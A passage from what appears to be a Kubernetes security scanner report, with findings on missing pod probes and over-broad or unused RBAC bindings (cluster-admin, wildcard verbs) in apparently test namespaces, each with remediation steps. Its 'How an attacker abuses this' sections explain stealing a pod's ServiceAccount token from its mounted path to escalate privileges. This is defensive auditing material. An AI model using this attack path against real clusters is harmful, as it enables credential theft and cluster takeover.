  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container app and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerapp
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "app",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Job/gw-workloads/gw-batch Workload 3.5
Container batch in Job/gw-workloads/gw-batch has neither a liveness nor a readiness probe
Scope · Workload Workload Job/gw-workloads/gw-batch
Category: Defense Evasion Resource: Job/gw-workloads/gw-batch Namespace: gw-workloads

Container batch in Job/gw-workloads/gw-batch does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceJob

A Job executes one or more pods that must complete successfully. Jobs are a common attacker mechanism for one-shot privilege use ("create a Job that mounts the host filesystem, do the thing, exit").

  1. A regression in the app deployed via Job/gw-batch deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container batch and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerbatch
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "batch",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/local-path-storage/local-path-provisioner Workload 3.5
Container local-path-provisioner in Deployment/local-path-storage/local-path-provisioner has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/local-path-storage/local-path-provisioner
Category: Defense Evasion Resource: Deployment/local-path-storage/local-path-provisioner Namespace: local-path-storage

Container local-path-provisioner in Deployment/local-path-storage/local-path-provisioner does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/local-path-provisioner deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container local-path-provisioner and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerlocal-path-provisioner
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "local-path-provisioner",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}
LOW Deployment/secrets-bundle/cross-ns-consumer Workload 3.5
Container pause in Deployment/secrets-bundle/cross-ns-consumer has neither a liveness nor a readiness probe
Scope · Workload Workload Deployment/secrets-bundle/cross-ns-consumer
Category: Defense Evasion Resource: Deployment/secrets-bundle/cross-ns-consumer Namespace: secrets-bundle

Container pause in Deployment/secrets-bundle/cross-ns-consumer does not declare a livenessProbe or a readinessProbe. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.

The two probes solve different problems and are not interchangeable. A readinessProbe controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A livenessProbe controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.

The operational symptom is a workload that looks Running in kubectl get pod but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.

Impact Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. A regression in the app deployed via Deployment/cross-ns-consumer deadlocks one worker thread on a code path the unit tests do not cover.
  2. The container process is alive (no crash), so the kubelet's default "PID 1 alive" check passes and no liveness probe contradicts it.
  3. The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.
  4. Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of 1/replicas.
  5. On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template.
Remediation
Add both a livenessProbe and a readinessProbe (HTTP, TCP, or exec) to container pause and tune initialDelaySeconds to cover startup.
  1. Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does "wedged" look like?).
  2. Add a readinessProbe that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an /healthz endpoint that checks downstream dependencies is correct.
  3. Add a livenessProbe that is *strictly* less specific than the readiness probe (e.g. a tiny /livez endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.
  4. Set initialDelaySeconds larger than the worst-case cold start. Use a startupProbe instead if startup time has high variance, so the liveness probe has a separate timer.
  5. Enforce at admission with Kyverno (require-pod-probes) or OPA Gatekeeper so future workloads cannot ship without probes.
Evidence
Containerpause
missing_liveness_probe
true
missing_readiness_probe
true
Show raw JSON
{
  "container": "pause",
  "missing_liveness_probe": true,
  "missing_readiness_probe": true
}

Leastprivilege

15 findings · 3 rules · 0 critical · 0 high · 14 medium · 1 low
MEDIUM

Role r-lp-wildcard grants verbs: ["*"] to ServiceAccount lp-fixtures/sa-lp-wildcard, only a subset is used

KUBE-RBAC-WILDCARD-USED-PARTIAL-001 1 subject Score 5.5

Affected subject

MEDIUM ServiceAccount/lp-fixtures/sa-lp-wildcard Namespace 5.5
Role r-lp-wildcard grants verbs: ["*"] to ServiceAccount lp-fixtures/sa-lp-wildcard, only a subset is used
Scope · Namespace Namespace lp-fixtures
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-wildcard Resource: Role/r-lp-wildcard

Over 30 days (2026-09-09 → 2026-10-09, 3 events), ServiceAccount lp-fixtures/sa-lp-wildcard exercised a narrow subset of the wildcard verbs: ["*"] grants in r-lp-wildcard:

- secrets (apiGroup core) observed: get

The wildcard implicitly includes create, update, patch, delete, deletecollection, bind, escalate, impersonate, and any future verb Kubernetes introduces. Replacing the wildcard with the observed verb set shrinks blast radius without affecting known behavior.

Impact Wildcard verbs grant whatever Kubernetes invents next, including verbs designed for cluster-admin operations the workload should never perform.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceRole

A Role is a permission set that only applies inside one namespace. Roles cannot reference cluster-scoped resources (like Nodes or PersistentVolumes).

Remediation
Replace verbs: ["*"] in r-lp-wildcard with the observed verb set.
  1. Verify the observation window covers rare administrative actions (monthly cleanup, post-incident recovery).
  2. Apply the narrower Role shown in the snippet below.
  3. Re-scan after the change to confirm no UNUSED-VERB findings emerge: those would indicate the new verb list is itself broader than the workload needs.
Evidence
Source roler-lp-wildcard
Inspect: kubectl get clusterrole r-lp-wildcard -o yaml
events_processed
3
suggested_role_yaml
"apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole  # or Role, matching the existing definition\nmetadata:\n  name: r-lp-wildcard-narrowed\nrules:\n  - apiGroups: [\"\"]\n    resources: [\"secrets\"]\n    verbs: [\"get\"]\n"
wildcards
[
  {
    "api_group": "",
    "observed_verbs": [
      "get"
    ],
    "resource": "secrets"
  }
]
window_end
"2026-10-09T14:16:04.232881314Z"
window_start
"2026-09-09T14:16:04.232881314Z"
Show raw JSON
{
  "events_processed": 3,
  "source_role": "r-lp-wildcard",
  "suggested_role_yaml": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole  # or Role, matching the existing definition\nmetadata:\n  name: r-lp-wildcard-narrowed\nrules:\n  - apiGroups: [\"\"]\n    resources: [\"secrets\"]\n    verbs: [\"get\"]\n",
  "wildcards": [
    {
      "api_group": "",
      "observed_verbs": [
        "get"
      ],
      "resource": "secrets"
    }
  ],
  "window_end": "2026-10-09T14:16:04.232881314Z",
  "window_start": "2026-09-09T14:16:04.232881314Z"
}
MEDIUM

Role cluster-admin granted to ServiceAccount foothold-exec/foothold-decoy-sa but never exercised

KUBE-RBAC-UNUSED-ROLE-001 13 subjects Score 5.0

Affected subjects (13)

MEDIUM ServiceAccount/foothold-exec/foothold-decoy-sa Namespace 5.0
Role cluster-admin granted to ServiceAccount foothold-exec/foothold-decoy-sa but never exercised
Scope · Namespace Namespace foothold-exec
Category: Privilege Escalation Subject: ServiceAccount/foothold-exec/foothold-decoy-sa Resource: ClusterRole/cluster-admin

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount foothold-exec/foothold-decoy-sa. The Role cluster-admin is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

Impact If the pod is compromised, the attacker inherits every permission in cluster-admin even though the application has not used any of them.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceClusterRole

A ClusterRole is a named set of permissions ("can get/list on pods across the cluster"). It does nothing on its own; it must be granted to a subject through a ClusterRoleBinding (cluster-wide) or RoleBinding (one namespace).

The infamous cluster-admin ClusterRole grants verbs: ["*"] on resources: ["*"] in apiGroups: ["*"], which is total control.

Kubernetes docs ↗
  1. Attacker compromises a pod running as ServiceAccount foothold-exec/foothold-decoy-sa (e.g. via an RCE in the application).
  2. Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount foothold-exec/foothold-decoy-sa.
  3. Attacker uses the token to invoke every API grant in cluster-admin - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs.
Remediation
Remove the binding that grants cluster-admin to ServiceAccount foothold-exec/foothold-decoy-sa, or replace the Role with a no-op placeholder until the workload is retired.
  1. Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).
  2. Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cluster-admin") | {kind, ns: .metadata.namespace, name: .metadata.name}'
  3. Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.
Evidence
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
events_processed
3
signal
"no_observed_events_for_subject"
window_end
"2026-10-09T14:16:04.232881314Z"
window_start
"2026-09-09T14:16:04.232881314Z"
Show raw JSON
{
  "events_processed": 3,
  "signal": "no_observed_events_for_subject",
  "source_role": "cluster-admin",
  "window_end": "2026-10-09T14:16:04.232881314Z",
  "window_start": "2026-09-09T14:16:04.232881314Z"
}
MEDIUM ServiceAccount/vulnerable/default Namespace 5.0
Role cm-reader granted to ServiceAccount vulnerable/default but never exercised
Scope · Namespace Namespace vulnerable
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/default Resource: Role/cm-reader

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount vulnerable/default. The Role cm-reader is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

Impact If the pod is compromised, the attacker inherits every permission in cm-reader even though the application has not used any of them.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceRole

A Role is a permission set that only applies inside one namespace. Roles cannot reference cluster-scoped resources (like Nodes or PersistentVolumes).

  1. Attacker compromises a pod running as ServiceAccount vulnerable/default (e.g. via an RCE in the application).
  2. Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount vulnerable/default.
  3. Attacker uses the token to invoke every API grant in cm-reader - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs.
Remediation
Remove the binding that grants cm-reader to ServiceAccount vulnerable/default, or replace the Role with a no-op placeholder until the workload is retired.
  1. Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).
  2. Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cm-reader") | {kind, ns: .metadata.namespace, name: .metadata.name}'
  3. Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.
Evidence
Source rolecm-reader
Inspect: kubectl get clusterrole cm-reader -o yaml
events_processed
3
signal
"no_observed_events_for_subject"
window_end
"2026-10-09T14:16:04.232881314Z"
window_start
"2026-09-09T14:16:04.232881314Z"
Show raw JSON
{
  "events_processed": 3,
  "signal": "no_observed_events_for_subject",
  "source_role": "cm-reader",
  "window_end": "2026-10-09T14:16:04.232881314Z",
  "window_start": "2026-09-09T14:16:04.232881314Z"
}
MEDIUM ServiceAccount/csr-fixtures/sa-csr-mint Namespace 5.0
Role cr-csr-mint granted to ServiceAccount csr-fixtures/sa-csr-mint but never exercised
Scope · Namespace Namespace csr-fixtures
Category: Privilege Escalation Subject: ServiceAccount/csr-fixtures/sa-csr-mint Resource: ClusterRole/cr-csr-mint

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount csr-fixtures/sa-csr-mint. The Role cr-csr-mint is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

Impact If the pod is compromised, the attacker inherits every permission in cr-csr-mint even though the application has not used any of them.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceClusterRole

A ClusterRole is a named set of permissions ("can get/list on pods across the cluster"). It does nothing on its own; it must be granted to a subject through a ClusterRoleBinding (cluster-wide) or RoleBinding (one namespace).

The infamous cluster-admin ClusterRole grants verbs: ["*"] on resources: ["*"] in apiGroups: ["*"], which is total control.

Kubernetes docs ↗
  1. Attacker compromises a pod running as ServiceAccount csr-fixtures/sa-csr-mint (e.g. via an RCE in the application).
  2. Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount csr-fixtures/sa-csr-mint.
  3. Attacker uses the token to invoke every API grant in cr-csr-mint - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs.
Remediation
Remove the binding that grants cr-csr-mint to ServiceAccount csr-fixtures/sa-csr-mint, or replace the Role with a no-op placeholder until the workload is retired.
  1. Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).
  2. Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cr-csr-mint") | {kind, ns: .metadata.namespace, name: .metadata.name}'
  3. Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.
Evidence
Source rolecr-csr-mint
Inspect: kubectl get clusterrole cr-csr-mint -o yaml
events_processed
3
signal
"no_observed_events_for_subject"
window_end
"2026-10-09T14:16:04.232881314Z"
window_start
"2026-09-09T14:16:04.232881314Z"
Show raw JSON
{
  "events_processed": 3,
  "signal": "no_observed_events_for_subject",
  "source_role": "cr-csr-mint",
  "window_end": "2026-10-09T14:16:04.232881314Z",
  "window_start": "2026-09-09T14:16:04.232881314Z"
}
MEDIUM ServiceAccount/csr-fixtures/sa-csr-sign Namespace 5.0
Role cr-csr-sign granted to ServiceAccount csr-fixtures/sa-csr-sign but never exercised
Scope · Namespace Namespace csr-fixtures
Category: Privilege Escalation Subject: ServiceAccount/csr-fixtures/sa-csr-sign Resource: ClusterRole/cr-csr-sign

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount csr-fixtures/sa-csr-sign. The Role cr-csr-sign is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

Impact If the pod is compromised, the attacker inherits every permission in cr-csr-sign even though the application has not used any of them.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceClusterRole

A ClusterRole is a named set of permissions ("can get/list on pods across the cluster"). It does nothing on its own; it must be granted to a subject through a ClusterRoleBinding (cluster-wide) or RoleBinding (one namespace).

The infamous cluster-admin ClusterRole grants verbs: ["*"] on resources: ["*"] in apiGroups: ["*"], which is total control.

Kubernetes docs ↗
  1. Attacker compromises a pod running as ServiceAccount csr-fixtures/sa-csr-sign (e.g. via an RCE in the application).
  2. Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount csr-fixtures/sa-csr-sign.
  3. Attacker uses the token to invoke every API grant in cr-csr-sign - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs.
Remediation
Remove the binding that grants cr-csr-sign to ServiceAccount csr-fixtures/sa-csr-sign, or replace the Role with a no-op placeholder until the workload is retired.
  1. Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).
  2. Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cr-csr-sign") | {kind, ns: .metadata.namespace, name: .metadata.name}'
  3. Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.
Evidence
Source rolecr-csr-sign
Inspect: kubectl get clusterrole cr-csr-sign -o yaml
events_processed
3
signal
"no_observed_events_for_subject"
window_end
"2026-10-09T14:16:04.232881314Z"
window_start
"2026-09-09T14:16:04.232881314Z"
Show raw JSON
{
  "events_processed": 3,
  "signal": "no_observed_events_for_subject",
  "source_role": "cr-csr-sign",
  "window_end": "2026-10-09T14:16:04.232881314Z",
  "window_start": "2026-09-09T14:16:04.232881314Z"
}
MEDIUM ServiceAccount/imgswap-fixtures/imgswap-reader Namespace 5.0
Role cr-imgswap-secret-reader granted to ServiceAccount imgswap-fixtures/imgswap-reader but never exercised
Scope · Namespace Namespace imgswap-fixtures
Category: Privilege Escalation Subject: ServiceAccount/imgswap-fixtures/imgswap-reader Resource: ClusterRole/cr-imgswap-secret-reader

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount imgswap-fixtures/imgswap-reader. The Role cr-imgswap-secret-reader is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

Impact If the pod is compromised, the attacker inherits every permission in cr-imgswap-secret-reader even though the application has not used any of them.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceClusterRole

A ClusterRole is a named set of permissions ("can get/list on pods across the cluster"). It does nothing on its own; it must be granted to a subject through a ClusterRoleBinding (cluster-wide) or RoleBinding (one namespace).

The infamous cluster-admin ClusterRole grants verbs: ["*"] on resources: ["*"] in apiGroups: ["*"], which is total control.

Kubernetes docs ↗
  1. Attacker compromises a pod running as ServiceAccount imgswap-fixtures/imgswap-reader (e.g. via an RCE in the application).
  2. Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount imgswap-fixtures/imgswap-reader.
  3. Attacker uses the token to invoke every API grant in cr-imgswap-secret-reader - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs.
Remediation
Remove the binding that grants cr-imgswap-secret-reader to ServiceAccount imgswap-fixtures/imgswap-reader, or replace the Role with a no-op placeholder until the workload is retired.
  1. Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).
  2. Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cr-imgswap-secret-reader") | {kind, ns: .metadata.namespace, name: .metadata.name}'
  3. Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.
Evidence
Source rolecr-imgswap-secret-reader
Inspect: kubectl get clusterrole cr-imgswap-secret-reader -o yaml
events_processed
3
signal
"no_observed_events_for_subject"
window_end
"2026-10-09T14:16:04.232881314Z"
window_start
"2026-09-09T14:16:04.232881314Z"
Show raw JSON
{
  "events_processed": 3,
  "signal": "no_observed_events_for_subject",
  "source_role": "cr-imgswap-secret-reader",
  "window_end": "2026-10-09T14:16:04.232881314Z",
  "window_start": "2026-09-09T14:16:04.232881314Z"
}
MEDIUM ServiceAccount/rbac-fixtures/sa-impersonate Namespace 5.0
Role cr-impersonate granted to ServiceAccount rbac-fixtures/sa-impersonate but never exercised
Scope · Namespace Namespace rbac-fixtures
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-impersonate Resource: ClusterRole/cr-impersonate

Audit logs covering 30 days (2026-09-09 → 2026-10-09, 3 events) show zero API calls from ServiceAccount rbac-fixtures/sa-impersonate. The Role cr-impersonate is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.

Impact If the pod is compromised, the attacker inherits every permission in cr-impersonate even though the application has not used any of them.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceClusterRole

A ClusterRole is a named set of permissions ("can get/list on pods across the cluster"). It does nothing on its own; it must be granted to a subject through a ClusterRoleBinding (cluster-wide) or RoleBinding (one namespace).

The infamous cluster-admin ClusterRole grants verbs: ["*"] on resources: ["*"] in apiGroups: ["*"], which is total control.

Kubernetes docs ↗
  1. Attacker compromises a pod running as ServiceAccount rbac-fixtures/sa-impersonate (e.g. via an RCE in the application).
  2. Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount rbac-fixtures/sa-impersonate.
  3. Attacker uses the token to invoke every API grant in cr-impersonate - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs.
Remediation
Remove the binding that grants cr-impersonate to ServiceAccount rbac-fixtures/sa-impersonate, or replace the Role with a no-op placeholder until the workload is retired.
  1. Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).
  2. Find the binding: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == "cr-impersonate") | {kind, ns: .metadata.namespace, name: .metadata.name}'
  3. Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal.
Evidence
Source rolecr-impersonate
Inspect: kubectl get clusterrole cr-impersonate -o yaml
events_processed
3
signal
"no_observed_events_for_subject"
window_end
